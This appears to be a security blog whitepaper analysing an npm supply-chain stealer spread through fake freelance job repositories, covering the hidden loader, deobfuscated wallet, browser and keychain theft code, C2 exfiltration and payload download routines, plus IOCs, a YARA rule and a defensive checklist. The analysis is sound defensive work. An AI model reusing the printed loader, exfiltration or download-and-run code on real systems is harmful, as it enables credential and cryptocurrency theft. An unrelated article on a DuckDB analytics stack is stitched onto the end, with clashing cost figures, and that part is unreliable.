Executive Summary

The gig economy has transformed how developers find work. Platforms like Upwork, Freelancer, Fiverr, and LinkedIn have become essential tools for connecting talented developers with clients worldwide. However, this trust-based ecosystem has become a hunting ground for cybercriminals deploying sophisticated malware campaigns.

During a routine code review of what appeared to be a legitimate e-commerce project—the kind commonly posted on freelancing platforms—I uncovered a devastating supply chain attack. Hidden within the seemingly innocent codebase was malware designed to steal cryptocurrency wallet credentials, browser passwords, session cookies, and sensitive keychain data.

This is not an isolated incident. Security researchers have observed a dramatic increase in malicious repositories being shared through:

• Upwork job postings asking developers to "fix a bug" or "add a feature"

• LinkedIn messages from fake recruiters sharing "test projects"

• Freelancer gigs requiring developers to "review and improve" existing code

• Discord and Telegram groups sharing "open source projects"

• Twitter/X threads promoting "collaborative opportunities"

This whitepaper provides a comprehensive technical breakdown of one such attack, its mechanisms, and critical lessons for every freelance developer.

Key Findings:

• The malware targets 24+ cryptocurrency wallet browser extensions including MetaMask, Phantom, and Coinbase Wallet

• It exfiltrates data to command-and-control servers at 88.218.0.78:1224

• The attack leverages npm's prepare script to execute automatically during installation

• It employs multiple layers of obfuscation to evade detection

• The payload is hosted externally, allowing attackers to modify it without touching the repository

The Rising Threat: Freelancing Platforms Under Attack

The Perfect Storm

The freelance development market has exploded in recent years. According to industry reports:

• 59 million Americans performed freelance work in 2023

• The global gig economy is projected to reach $455 billion by 2025

• 70% of tech companies now hire freelance developers

• The average freelance developer handles 3-5 projects simultaneously

This creates a perfect environment for attackers:

1. High volume: Developers receive numerous project requests weekly

2. Time pressure: Tight deadlines mean less time for security reviews

3. Trust assumptions: Established platforms create false sense of security

4. Financial motivation: Developers working with crypto projects often hold significant assets

5. Technical access: Developers run code with elevated privileges

Documented Attack Campaigns

Security researchers have identified several ongoing campaigns:

The Human Element

What makes these attacks particularly effective is their exploitation of human psychology:

┌─────────────────────────────────────────────────────────────────────────┐
│                    ATTACKER'S PSYCHOLOGICAL PLAYBOOK                    │
└─────────────────────────────────────────────────────────────────────────┘

┌─────────────────┐     ┌─────────────────┐     ┌─────────────────┐
│   AUTHORITY     │     │    URGENCY      │     │   OPPORTUNITY   │
├─────────────────┤     ├─────────────────┤     ├─────────────────┤
│ "We're a funded │     │ "We need this   │     │ "This could be  │
│  startup..."    │     │  done by Friday │     │  a long-term    │
│                 │     │  for launch"    │     │  relationship"  │
│ "I'm the CTO    │     │                 │     │                 │
│  of..."         │     │ "Urgent bug     │     │ "$150/hour for  │
│                 │     │  fix needed"    │     │  the right      │
│ "Referred by    │     │                 │     │  candidate"     │
│  [mutual conn]" │     │ "Investor demo  │     │                 │
│                 │     │  tomorrow"      │     │                 │
└─────────────────┘     └─────────────────┘     └─────────────────┘
          │                     │                       │
          └─────────────────────┼───────────────────────┘
                                │
                                ▼
                    ┌─────────────────────┐
                    │  DEVELOPER RUNS     │
                    │  npm install        │
                    │  WITHOUT REVIEW     │
                    └─────────────────────┘
                                │
                                ▼
                    ┌─────────────────────┐
                    │  💀 COMPROMISED 💀   │
                    └─────────────────────┘

Anatomy of the Scam: How Attackers Target Developers

Phase 1: The Approach

Attackers create convincing personas on professional platforms. Here's a typical LinkedIn message:

From: Sarah Chen, CTO @ Web39Innovations (500+ connections)

Subject: Senior React Developer Opportunity - $120/hr

Hi [Developer Name],

I came across your profile and was impressed by your React and Node.js experience. We're a Series A funded startup building the next generation of DeFi tools.

We have an urgent need for a senior developer to help us fix some bugs in our trading interface before our investor demo next week. The pay is $120/hour, and if things go well, we're looking at a 6-month contract.

Here's our GitHub repo: [link]

Could you take a quick look and let me know if you're interested? We'd need you to run it locally to understand the current state.

Best, Sarah

Phase 2: The Repository

The shared repository looks completely legitimate:

defi-trading-platform/
├── src/
│   ├── components/
│   │   ├── Dashboard.jsx
│   │   ├── TradingView.jsx
│   │   └── WalletConnect.jsx
│   ├── hooks/
│   ├── utils/
│   └── App.jsx
├── server/
│   ├── controllers/
│   │   ├── authController.js
│   │   ├── tradeController.js
│   │   └── userController.js    ← 💀 MALWARE HIDDEN HERE
│   ├── models/
│   ├── routes/
│   └── server.js
├── package.json                 ← 💀 TRIGGER MECHANISM
├── README.md                    ← Professional documentation
├── .env. example
└── docker-compose.yml

The README is professional, the code structure follows best practices, and there might even be a few legitimate GitHub stars (purchased or from accomplice accounts).

Phase 3: The Trigger

The moment you run npm install, the attack begins:

{
  "scripts": {
    "start": "concurrently \"node server/server.js\" \"react-scripts start\"",
    "build": "react-scripts build",
    "prepare": "npm start"
  }
}

Red Flags That Should Have Been Caught

Looking back, there were warning signs:

Discovery: Finding the Needle in the Haystack

The malicious code was discovered in what appeared to be a standard e-commerce application—exactly the type of project frequently posted on Upwork or Freelancer. The repository structure looked completely normal:

bestcity/
├── src/
│   ├── components/
│   ├── pages/
│   └── App.jsx
├── server/
│   ├── controllers/
│   │   └── userController.js    ← MALWARE LOCATION
│   ├── routes/
│   ├── models/
│   └── server.js
├── package.json                 ← TRIGGER MECHANISM
└── README.md

The first red flag appeared in the package.json file:

{
  "name": "bestcity",
  "version": "0.1.0",
  "scripts": {
    "start": "concurrently \"node server/server.js\" \"react-app-rewired start\"",
    "build": "react-app-rewired build",
    "prepare": "npm start"
  }
}

The prepare script is designed to run automatically after npm install. Setting it to npm start means that every time someone clones the repository and installs dependencies, the server starts automatically—and with it, the malware.

The Initial Infection Vector

The actual malicious code was hidden in server/controllers/userController.js, disguised with a misleading comment:

// ...  legitimate user authentication code ...

// Forgot Password
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
  // ... legitimate password reset logic ...
});

//Get Cookie
(async () => {
  axios.get(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi84NVFHSAo="))
    . then(response => {
      new Function("require", response.data. model)(require);
    })
    .catch(error => { });
})();

// Reset Password
exports.resetPassword = asyncErrorHandler(async (req, res, next) => {
  // ...  legitimate password reset logic ... 
});

Let's break down what's happening here:

Step 1: Base64 Decoding

The atob() function decodes the Base64-encoded string:

atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi84NVFHSAo=")
// Decodes to: "https://www.jsonkeeper.com/b/85QGH"

Step 2: Fetching the Payload

The code makes an HTTP GET request to jsonkeeper.com, a legitimate JSON hosting service. This is a clever technique because:

• The malicious code isn't stored in the repository itself

• Static analysis tools won't flag it as malicious

• The attacker can update the payload at any time without modifying the repository

• jsonkeeper.com is a legitimate service, so it won't be blocked by firewalls

Step 3: Dynamic Code Execution

The most dangerous part is the code execution mechanism:

new Function("require", response.data.model)(require);

This creates a new function from a string (the model property of the response) and passes Node.js's require function to it. This gives the attacker full access to:

• The file system (require('fs'))

• Network capabilities (require('https'))

• Child process execution (require('child_process'))

• Any installed npm package

Step 4: Silent Failure

The empty . catch(error => { }) ensures that any errors are silently swallowed, preventing the malware from being detected through error logs.

Deobfuscating the Payload

The payload retrieved from jsonkeeper.com is heavily obfuscated. Here's a small sample of what it looks like:

function _0x1a27(){const _0x4c7ae9=['nkbihfbeog','apagcccfch','NjcuMjE4Oj',
'get','EyMjQ=','bomempkjle','GmfWR','Local/Goog','GmfWR','mcohilncbf',
// ... thousands more entries

This obfuscation technique uses several methods:

Array-Based String Obfuscation

All strings are stored in a single array, and references to them are made through index lookups:

// Obfuscated
const _0x4c7ae9 = ['push', 'length', 'forEach'];
arr[_0x4c7ae9[0]](item);  // arr. push(item)

// Deobfuscated
arr.push(item);

Hexadecimal Number Encoding

Numbers are encoded in hexadecimal to make the code harder to read:

// Obfuscated
wEj6HNK[0x0]   // 0
wEj6HNK[0x1]   // 1
wEj6HNK[0x2]   // 8

// Deobfuscated
0, 1, 8

Custom Base85 Encoding

The malware uses a custom character set for encoding strings:

function decode(encoded) {
  var charset = '2sYHSa6U$TN*18uw? |h#xW7@DfLZRmGvJz\\',yX_q! nC><MB}+AbQ:`d~c^IE{gO&PF/ijp%t]o)(4k;=K0V93l[e5. r';
  // ... decoding logic
}

After several hours of manual deobfuscation, I was able to reconstruct the original malware logic, which is detailed in the following sections.

Technical Analysis: What the Malware Steals

Browser Data Theft

The malware targets all major browsers across Windows, macOS, and Linux:

// Browser paths (deobfuscated)
const browserPaths = {
  chrome: {
    windows: '~/AppData/Local/Google/Chrome/User Data',
    macos: '~/Library/Application Support/Google/Chrome',
    linux: '~/.config/google-chrome'
  },
  brave: {
    windows: '~/AppData/Local/BraveSoftware/Brave-Browser/User Data',
    macos: '~/Library/Application Support/BraveSoftware/Brave-Browser',
    linux: '~/. config/BraveSoftware/Brave-Browser'
  },
  opera: {
    windows: '~/AppData/Roaming/Opera Software/Opera Stable',
    macos: '~/Library/Application Support/com.operasoftware.Opera'
  },
  edge: {
    windows: '~/AppData/Local/Microsoft/Edge/User Data'
  },
  firefox: {
    windows: '~/AppData/Roaming/Mozilla/Firefox/Profiles'
  }
};

For each browser, the malware steals:

Cryptocurrency Wallet Extension Targeting

The malware specifically targets 24 cryptocurrency wallet browser extensions by their unique extension IDs:

// Targeted wallet extension IDs (deobfuscated)
const walletExtensions = [
  'nkbihfbeogaeaoehlefnkodbefgpgknn',  // MetaMask
  'ibnejdfjmmkpcnlpebklmnkoeoihofec',  // TronLink
  'bfnaelmomeimhlpmgjnjophhpkkoljpa',  // Phantom
  'aeblfdkhhhdcdjpifhhbdiojplfjncos',  // 1inch Wallet
  'fhbohimaelbohpjbbldcngcnapndodjp',  // Binance Wallet
  'hnfanknocfeofbddgcijnmhnfnkdnaad',  // Coinbase Wallet
  'aiifbnbfobpmeekipheeijimdpnlpgpp',  // Station Wallet
  'cgeeodpfagjceefieflmdfphplkenlfk',  // EVER Wallet
  'pdadjkfkgcafgbceimcpbkalnfnepbnk',  // KardiaChain
  'kpfopkelmapcoipemfendmdcghnegimn',  // Liquality
  'mgffkfbidihjpoaomajlbgchddlicgpn',  // Pali Wallet
  'aholpfdialjgjfhomihkjbmgjidlcdno',  // ExodusWeb3
  'lpfcbjknijpeeillifnkikgncikgfhdo',  // Nami
  'jbdaocneiiinmjbjlgalhcelgbejmnid',  // Nifty Wallet
  'nanjmdknhkinifnkgdcggcfnhdaammmj',  // Guild Wallet
  'afbcbjpbpfadlkmhmclhkeeodmamcflc',  // Math Wallet
  'hpglfhgfnhbgpjdenjgmdgoeiappafln',  // Guarda
  'blnieiiffboillknjnepogjhkgnoapac',  // Equal Wallet
  'cjelfplplebdjjenllpjcblmjkfcffne',  // Jaxx Liberty
  'fihkakfobkmkjojpchpfgcmhfjnmnfpi',  // BitApp
  'kncchdigobghenbbaddojjnnaogfppfj',  // iWallet
  'amkmjjmmflddogmhpjloimipbofnfjih',  // Wombat
  'nlbmnnijcnlegkjjpcfjclmcfggfefdm',  // MEW CX
  'nhnkbkgjikgcigadomkphalanndcapjk',  // Clover Wallet
];

For each extension, the malware looks for .ldb (LevelDB) files that contain:

• Private keys

• Seed phrases

• Wallet addresses

• Transaction history

Desktop Wallet Theft

Beyond browser extensions, the malware also targets desktop cryptocurrency wallets:

// Exodus wallet paths
const exodusWallet = {
  windows: '~/AppData/Roaming/Exodus/exodus.wallet',
  macos: '~/Library/Application Support/Exodus/exodus.wallet',
  linux: '~/.config/Exodus/exodus.wallet'
};

// Solana CLI wallet
const solanaWallet = '~/.config/solana/id.json';

The Solana wallet file (id.json) contains the raw private key in JSON format, making it trivially easy for attackers to drain funds.

macOS Keychain Theft

On macOS systems, the malware goes after the system keychain:

// Keychain paths
const keychainPaths = [
  '~/Library/Keychains/login.keychain',
  '~/Library/Keychains/login.keychain-db'
];

// Chrome Safe Storage (contains encryption key for Chrome passwords)
const chromeSafeStorage = '~/Library/Application Support/Google/Chrome/Local State';

The login keychain contains:

• WiFi passwords

• Application passwords

• SSH keys

• Certificates

• iCloud Keychain sync data

The Command and Control Infrastructure

Primary C2 Server

The malware exfiltrates stolen data to a server at:

Primary:   http://88.218.0.78:1224
Secondary: http://67.218.0.78:1224

Data Exfiltration Protocol

The Upload function sends stolen data via HTTP POST:

// Deobfuscated upload function
const Upload = (files, timestamp, serverUrl) => {
  const payload = {
    type: '6',                        // Campaign identifier
    name: 'b_' + os. hostname(),       // Victim identifier
    uts: timestamp,                   // Unix timestamp
    formData: files                   // Stolen files as multipart form data
  };

  request.post({
    url: serverUrl + '/uploads',
    formData: payload
  }, (error, response, body) => {
    // Silent - no error handling
  });
};

File Naming Convention

Stolen files are renamed with a specific pattern to help attackers organize their haul:

{type}_{browser}_{profile}_{extension_id}_{filename}

For example:

b_chrome_0_nkbihfbeogaeaoehlefnkodbefgpgknn_000003.ldb

This tells the attacker:

• b = Browser data type

• chrome = Google Chrome

• 0 = Default profile

• nkbihf... = MetaMask extension

• 000003. ldb = The actual LevelDB file

Persistence Mechanisms

Windows Persistence

On Windows systems, the malware downloads and executes an additional payload:

// Deobfuscated persistence mechanism
const downloadUrl = 'http://88.218.0.78:1224/pdown';
const zipPath = os.tmpdir() + '\\p. zi';
const extractPath = os.homedir();

// Download the payload
fetch(downloadUrl)
  .then(response => response.arrayBuffer())
  . then(data => {
    // Write zip file
    fs.writeFileSync(zipPath, new Uint8Array(data));
    
    // Rename to .zip
    fs.renameSync(zipPath, zipPath. replace('.zi', '.zip'));
    
    // Extract using tar (available on Windows 10+)
    exec('tar -xf ' + zipPath + ' -C ' + extractPath);
    
    // Execute the extracted Python payload
    exec(extractPath + '\\python. exe');
  });

Cross-Platform Python Payload

The malware also downloads and executes Python scripts:

// Client endpoint based on platform
const clientUrl = hostURL + '/client/' + htype + '/' + gtype;
const scriptPath = os.homedir() + '/. nlq';

// Download Python script
request.get(clientUrl, (error, response, body) => {
  if (! error) {
    fs. writeFileSync(scriptPath, body);
    
    // Execute on Unix-like systems
    exec('python3 "' + scriptPath + '"');
  }
});

Scheduled Execution

The malware sets up repeated execution to ensure persistence:

// Re-run main function every 50 seconds
let executionCount = 0;
const maxExecutions = 4;

const interval = setInterval(() => {
  if (executionCount++ < maxExecutions) {
    main();
  } else {
    clearInterval(interval);
  }
}, 50000);

Real-World Attack ScenariosScenario 1: The Upwork "Bug Fix"

The Setup:

"We have a React/Node.js e-commerce platform with a checkout bug. Simple fix, should take 2-3 hours. Budget: $300. Please clone the repo and run it locally to reproduce the issue."

What Happens:

1. Developer accepts the job and clones the repository

2. Runs npm install to set up the project

3. The prepare script triggers, starting the server

4. Malware executes silently in the background

5. All browser data and crypto wallets are exfiltrated

6. Developer continues working, unaware of the breach

7. Attacker drains wallets within hours

Losses: One developer reported losing $42,000 in ETH after accepting such a job.

Scenario 2: The LinkedIn Recruiter

The Setup:

"Hi! I'm a technical recruiter at [Fake Company]. We're looking for blockchain developers for a well-funded DeFi startup. As part of our interview process, we'd like you to review a small codebase and suggest improvements. Here's the GitHub link."

What Happens:

1. Developer, excited about the opportunity, clones the repo

2. Wants to impress the recruiter, so they dive in immediately

3. Runs the project to understand it better

4. Malware captures everything

5. The "recruiter" disappears

6. Wallets are drained, accounts are compromised

Losses: A senior developer lost access to multiple exchange accounts and had to spend weeks recovering compromised credentials.

Scenario 3: The Discord "Collaboration"

The Setup:

"Hey! Saw your work on [legitimate project]. We're building something similar and could use your expertise. Want to take a look at our repo and maybe contribute? We have a grants program for contributors."

What Happens:

1. Developer, flattered by the recognition, checks out the project

2. The repo looks legitimate with stars and forks (fake/purchased)

3. README mentions running locally for development

4. Developer follows instructions

5. Malware executes

6. Seed phrases and private keys are stolen

Losses: One victim lost access to NFTs worth over $100,000.

Attack Flow Visualization

┌─────────────────────────────────────────────────────────────────────────┐
│                         ATTACK CHAIN OVERVIEW                           │
└─────────────────────────────────────────────────────────────────────────┘

Attacker posts job on Upwork/LinkedIn/Freelancer
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  Developer accepts job, clones "legitimate-looking" repository         │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  $ npm install                                                          │
│                                                                         │
│  npm detects "prepare" script → executes "npm start"                    │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  server. js loads → requires app.js                                      │
│  app.js loads    → requires userRoute.js                                │
│  userRoute.js    → requires userController.js                           │
│                                                                         │
│  ⚠️  IIFE in userController.js EXECUTES IMMEDIATELY                     │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  axios.get("https://jsonkeeper.com/b/85QGH")                            │
│                                                                         │
│  Fetches obfuscated JavaScript payload from external hosting            │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  new Function("require", payload)(require)                              │
│                                                                         │
│  Executes payload with full Node.js capabilities                        │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ├──────────────────┬──────────────────┬──────────────────┐
            ▼                  ▼                  ▼                  ▼
    ┌──────────────┐  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐
    │   BROWSER    │  │   CRYPTO     │  │   SYSTEM     │  │ PERSISTENCE  │
    │    DATA      │  │   WALLETS    │  │   DATA       │  │              │
    ├──────────────┤  ├──────────────┤  ├──────────────┤  ├──────────────┤
    │ • Cookies    │  │ • MetaMask   │  │ • Keychains  │  │ • Downloads  │
    │ • Passwords  │  │ • Phantom    │  │ • SSH Keys   │  │   Python     │
    │ • History    │  │ • Coinbase   │  │ • Solana     │  │   payload    │
    │ • Sessions   │  │ • 21+ more   │  │   wallet     │  │ • Scheduled  │
    │ • Extensions │  │ • Exodus     │  │              │  │   tasks      │
    └──────────────┘  └──────────────┘  └──────────────┘  └──────────────┘
            │                  │                  │                  │
            └──────────────────┴──────────────────┴──────────────────┘
                                       │
                                       ▼
┌─────────────────────────────────────────────────────────────────────────┐
│                    DATA EXFILTRATION                                    │
│                                                                         │
│  HTTP POST → http://88.218.0.78:1224/uploads                            │
│                                                                         │
│  Payload: {                                                             │
│    type: "6",                                                           │
│    name: "b_HOSTNAME",                                                  │
│    uts: 1732645200,                                                     │
│    formData: [stolen_files]                                             │
│  }                                                                      │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  💀 ATTACKER DRAINS WALLETS WITHIN HOURS 💀                             │
│                                                                         │
│  Developer continues working, completely unaware...                      │
└─────────────────────────────────────────────────────────────────────────┘

Indicators of Compromise (IOCs)

Network Indicators

File System Indicators

Code Indicators

Look for these patterns in JavaScript files:

// Pattern 1: Base64-encoded URLs with atob()
atob("aHR0cHM6Ly...")

// Pattern 2: Dynamic function creation from strings
new Function("require", stringVariable)(require)

// Pattern 3: Silent error catching
. catch(error => { })
. catch(() => {})

// Pattern 4: Suspicious prepare scripts
"prepare": "npm start"
"prepare": "node index.js"
"postinstall": "node setup.js"

YARA Rule

rule npm_crypto_stealer_freelance {
    meta:
        description = "Detects npm cryptocurrency stealer targeting freelance developers"
        author = "Security Researcher"
        date = "2024-11-26"
        
    strings:
        $atob = "atob(" ascii
        $new_function = "new Function(" ascii
        $require_inject = /new Function\s*\(\s*["']require["']/ ascii
        $jsonkeeper = "jsonkeeper.com" ascii
        $c2_ip1 = "88.218.0.78" ascii
        $c2_ip2 = "67.218.0.78" ascii
        
        $wallet1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii  // MetaMask
        $wallet2 = "bfnaelmomeimhlpmgjnjophhpkkoljpa" ascii  // Phantom
        $wallet3 = "ibnejdfjmmkpcnlpebklmnkoeoihofec" ascii  // TronLink
        
    condition:
        (\(atob and \)new_function and $require_inject) or
        ($jsonkeeper) or
        (any of ($c2_ip*)) or
        (2 of ($wallet*))
}

Protecting Yourself as a Freelance Developer

The Freelancer's Security Checklist

Before accepting ANY project that requires running code locally:

┌─────────────────────────────────────────────────────────────────────────┐
│                    PRE-PROJECT SECURITY CHECKLIST                       │
└─────────────────────────────────────────────────────────────────────────┘

CLIENT VERIFICATION
  □ Verify client identity through video call
  □ Check client's history on the platform (reviews, past projects)
  □ Research the company independently (LinkedIn, website, news)
  □ Be suspicious of new accounts with no history
  □ Verify email domains match company claims

REPOSITORY ANALYSIS
  □ Check repository age and commit history
  □ Review all contributors' profiles
  □ Look for suspicious stars/forks patterns
  □ Read through package.json scripts BEFORE installing
  □ Search for encoded strings (atob, Buffer.from, base64)
  □ Look for dynamic code execution (eval, new Function, vm)

SAFE EXECUTION
  □ Use a dedicated virtual machine for unknown projects
  □ Run npm install --ignore-scripts first
  □ Manually review and run scripts individually
  □ Use network monitoring to detect suspicious connections
  □ Never run untrusted code on a machine with crypto wallets

ONGOING PROTECTION
  □ Keep crypto wallets on a separate, air-gapped device
  □ Use hardware wallets for significant holdings
  □ Enable 2FA on all accounts
  □ Regularly rotate credentials
  □ Monitor wallet addresses for unauthorized transactions

Technical Safeguards

1. Use Virtual Machines or Containers

# Create an isolated Docker container for untrusted projects
docker run -it --rm \
  --network=none \
  -v $(pwd):/workspace \
  node:18 \
  bash

# Inside container, safely inspect the project
cd /workspace
cat package.json | jq '. scripts'

2. Disable Automatic Script Execution

# Add to your ~/. npmrc
ignore-scripts=true

# Or use the flag each time
npm install --ignore-scripts

3. Use npm's Built-in Security Tools

# Audit dependencies for known vulnerabilities
npm audit

# Check for suspicious packages
npx socket check

4. Network Monitoring

# Monitor outbound connections (macOS/Linux)
sudo lsof -i -P | grep node

# Windows PowerShell
Get-NetTCPConnection | Where-Object {$_. OwningProcess -eq (Get-Process node).Id}

5. Dedicated Development Machine

Consider these setups:

If You've Been Compromised

Immediate Actions (First 15 Minutes):

1. Disconnect from the internet to prevent further data exfiltration

2. Do not restart your computer - this may destroy forensic evidence

3. Document everything - take screenshots, note timestamps

Asset Protection (First Hour):

1. Transfer cryptocurrency immediately to new wallets created on a different, clean device

2. Revoke all browser sessions for critical accounts (Google, GitHub, AWS, etc.)

3. Enable 2FA on all accounts if not already enabled

4. Change all passwords using a password manager on a clean device

System Recovery (First Day):

1. Export important data to external storage (be careful not to copy malware)

2. Perform a full system reinstall - this is the only way to ensure complete removal

3. Scan external storage before reconnecting to the clean system

4. Review account activity for all financial and code hosting accounts

Reporting:

1. Report to the platform (Upwork, LinkedIn, Freelancer) with all evidence

2. Report to npm security if malicious packages were involved

3. File a report with IC3 (FBI's Internet Crime Complaint Center) if you're in the US

4. Share your experience to warn other developers

Platform-Specific Red Flags

Upwork Warning Signs

LinkedIn Warning Signs

Freelancer. com Warning Signs

Conclusion

The freelance economy has created unprecedented opportunities for developers worldwide. But with these opportunities come new attack vectors that cybercriminals are eagerly exploiting. The attack analyzed in this paper represents a new generation of threats—sophisticated, targeted, and devastatingly effective.

Key Takeaways

1. Trust No Repository: Even "job opportunities" from established platforms can be attack vectors. Always review code before running it.

2. The "Prepare" Trap: Be especially wary of npm lifecycle scripts (prepare, postinstall, preinstall) that run automatically during installation.

3. External Payloads: Modern malware doesn't need to be in the repository—it can fetch its payload from legitimate hosting services at runtime.

4. Cryptocurrency = Target: If you work with crypto and hold assets, you are a high-value target. Separate your development and asset-holding environments.

5. Verify, Then Trust: Video calls, company research, and reference checks aren't just for traditional employment—they're essential for freelance work too.

6. Sandbox Everything: Virtual machines and containers are your friends. Use them for any project from an unverified source.

The Attacker's Advantage

The economics currently favor attackers:

• Low cost: Setting up malicious repositories is essentially free

• High reward: A single compromised developer with crypto can yield thousands of dollars

• Low risk: Attribution is difficult, prosecution is rare

• Scalable: The same malware can be repackaged for hundreds of "job postings"

Our Response

As a community, we must:

1. Share knowledge: Write about attacks you discover, warn others

2. Build tools: Create better detection for supply chain attacks

3. Pressure platforms: Demand better verification from Upwork, LinkedIn, and others

4. Educate newcomers: Help new developers understand the risks

5. Report aggressively: Every report makes it harder for attackers to operate

Call to Action

If you encounter similar malware:

1. Report to the platform: Upwork, LinkedIn, Freelancer have security teams

2. Report to npm: security@npmjs.com

3. Report to GitHub: security@github. com (if hosted on GitHub)

4. Report the C2 servers: Contact the hosting provider's abuse team

5. Share with the community: Write about your findings to help others

The security of the freelance ecosystem depends on all of us. By staying vigilant and sharing knowledge, we can make it harder for attackers to succeed.

Appendix A: Quick Reference Card

Print this and keep it near your workstation:

┌─────────────────────────────────────────────────────────────────────────┐
│              FREELANCE DEVELOPER SECURITY QUICK REFERENCE               │
└─────────────────────────────────────────────────────────────────────────┘

BEFORE ACCEPTING A JOB:
  ✓ Verify client identity (video call, company research)
  ✓ Check platform reputation (reviews, history)
  ✓ Be suspicious of urgency + high pay + new accounts

BEFORE RUNNING ANY CODE:
  ✓ Read package.json scripts: cat package.json | jq '.scripts'
  ✓ Search for danger: grep -r "atob\|eval\|new Function" .
  ✓ Use --ignore-scripts: npm install --ignore-scripts
  ✓ Run in sandbox: Use VM or Docker

RED FLAGS IN CODE:
  ⚠ atob() or Buffer.from() with encoded strings
  ⚠ new Function() with dynamic strings
  ⚠ eval() with any variable input
  ⚠ Child process execution with external input
  ⚠ Unexplained network requests

IF COMPROMISED:
  1. Disconnect from internet IMMEDIATELY
  2.  Transfer crypto to new wallet (from clean device)
  3. Change all passwords (from clean device)
  4. Revoke all sessions
  5. Full system reinstall

REPORT TO:
  • Platform (Upwork/LinkedIn/Freelancer)
  • npm: security@npmjs. com
  • GitHub: security@github. com
  • IC3: ic3.gov (US)

Appendix B: Resources

Security Tools

Learning Resources

• OWASP Top 10 for Node.js

• npm Security Best Practices

• GitHub Security Advisories

• NIST Cybersecurity Framework

Reporting Channels

• npm Security: security@npmjs. com

• GitHub Security: security@github. com

• Upwork Trust & Safety: Through platform

• LinkedIn Safety: Through platform

• FBI IC3: https://ic3.gov

Disclaimer: This analysis is provided for educational and defensive purposes only. The techniques described should only be used for legitimate security research and defense. Never attempt to access systems or data without authorization. Always report malicious code to the appropriate authorities.

Share this article to help protect fellow developers. The more awareness we create, the harder it becomes for attackers to succeed.

Tags: #cybersecurity #malware #npm #supplychain #cryptocurrency #infosec #freelancing #upwork #linkedin #freelancer #remotework #developers #web3 #defi #metamask

When managing analytics for our loan management system, we initially turned to the standard AWS stack: Amazon Redshift for data warehousing and AWS Glue for ETL pipelines. The result? A shocking $800 bill for just one day of operation (We obviously asked for waiver and thankfully received it).

For a growing startup or mid-sized company, this translates to potentially $24,000+ monthly just for analytics infrastructure. We knew there had to be a better way.

The Solution: A Cost-Effective Modern Data Stack

After evaluating multiple alternatives, we built a lean analytics pipeline using:

• DuckDB - An in-process analytical database

• Apache Superset - Open-source data visualization platform

• AWS Fargate - Pay-per-use container service

• Amazon S3 - Cost-effective data storage

The result? We reduced our analytics costs by over 95% while maintaining performance and scalability.

Architecture Overview: From RDS to Dashboard

Step 1: Data Export from RDS to S3

Our loan management data resided in Amazon RDS. Instead of continuous replication or expensive real-time sync, we leveraged Export to S3 feature:

• Exports are stored as Parquet files in S3

• Large tables are automatically chunked into multiple Parquet files

• Parquet format provides excellent compression (reducing storage costs)

• Exports can be scheduled during off-peak hours

Cost benefit: S3 storage costs pennies compared to maintaining a live Redshift cluster.

Step 2: Data Transformation with Python and Pandas

While DuckDB can read Parquet files directly, we encountered a critical challenge: data type consistency. Dates and other fields were often stored as strings in the Parquet exports, making aggregate queries impossible.

Here's our transformation approach:

import pandas as pd
import duckdb

# Read Parquet files with proper transformations
def transform_loan_data(parquet_path):
    df = pd.read_parquet(parquet_path)

    # Convert date strings to proper datetime
    df['loan_date'] = pd.to_datetime(df['loan_date'])
    df['disbursement_date'] = pd.to_datetime(df['disbursement_date'])

    # Transform other fields
    df['loan_amount'] = df['loan_amount'].astype(float)
    df['status'] = df['status'].str.upper().str.strip()

    return df

# Load into DuckDB
conn = duckdb.connect('analytics.duckdb')
df_transformed = transform_loan_data('s3://bucket/loans/*.parquet')
conn.execute("CREATE TABLE loans AS SELECT * FROM df_transformed")

Why this approach worked:

• Pandas provided flexible data type conversions

• We could apply business logic during transformation

• Complex nested structures in Parquet could be flattened

• Data quality checks could be implemented in Python

Step 3: Pre-Computing Analytics in DuckDB

To ensure lightning-fast dashboard loading, we pre-computed key metrics and stored them in temporary tables within DuckDB:

-- Daily loan disbursements
CREATE TEMP TABLE daily_disbursements AS
SELECT 
    DATE_TRUNC('day', disbursement_date) as date,
    COUNT(*) as loan_count,
    SUM(loan_amount) as total_amount,
    AVG(interest_rate) as avg_interest_rate
FROM loans
WHERE status = 'DISBURSED'
GROUP BY DATE_TRUNC('day', disbursement_date);

-- Portfolio aging analysis
CREATE TEMP TABLE portfolio_aging AS
SELECT 
    CASE 
        WHEN days_overdue = 0 THEN 'Current'
        WHEN days_overdue <= 30 THEN '1-30 Days'
        WHEN days_overdue <= 60 THEN '31-60 Days'
        ELSE '60+ Days'
    END as aging_bucket,
    COUNT(*) as loan_count,
    SUM(outstanding_amount) as total_outstanding
FROM loans
WHERE status IN ('ACTIVE', 'OVERDUE')
GROUP BY aging_bucket;

Performance advantage: Dashboard queries now fetch pre-aggregated data instead of running complex calculations on-the-fly.

Step 4: Visualization with Apache Superset

Apache Superset connected directly to our DuckDB database using the DuckDB SQLAlchemy driver:

1. Add DuckDB as a data source in Superset

2. Create datasets pointing to our pre-computed tables

3. Build interactive dashboards with various chart types

4. Set up caching for frequently accessed visualizations

The user experience was identical to enterprise BI tools like Tableau or Looker, but at zero licensing cost.

Cost Comparison: The Numbers Don't Lie

Traditional AWS Stack (Redshift + Glue)

• Redshift cluster: $800/day (2 nodes, 24/7)

• AWS Glue: ~$0.44 per DPU-hour

• Monthly estimate: $24,000+

Our DuckDB Solution

• AWS Fargate: ~$30/month (running 8 hours/day)

• S3 storage: ~$5/month (200GB compressed Parquet)

• Fargate for Superset: ~$50/month

• Monthly total: ~$85

Savings: Over $23,900 per month (99.6% reduction)

Additional Benefits Beyond Cost Savings

1. Operational Simplicity

• No cluster management or scaling concerns

• DuckDB is embedded - no separate database server

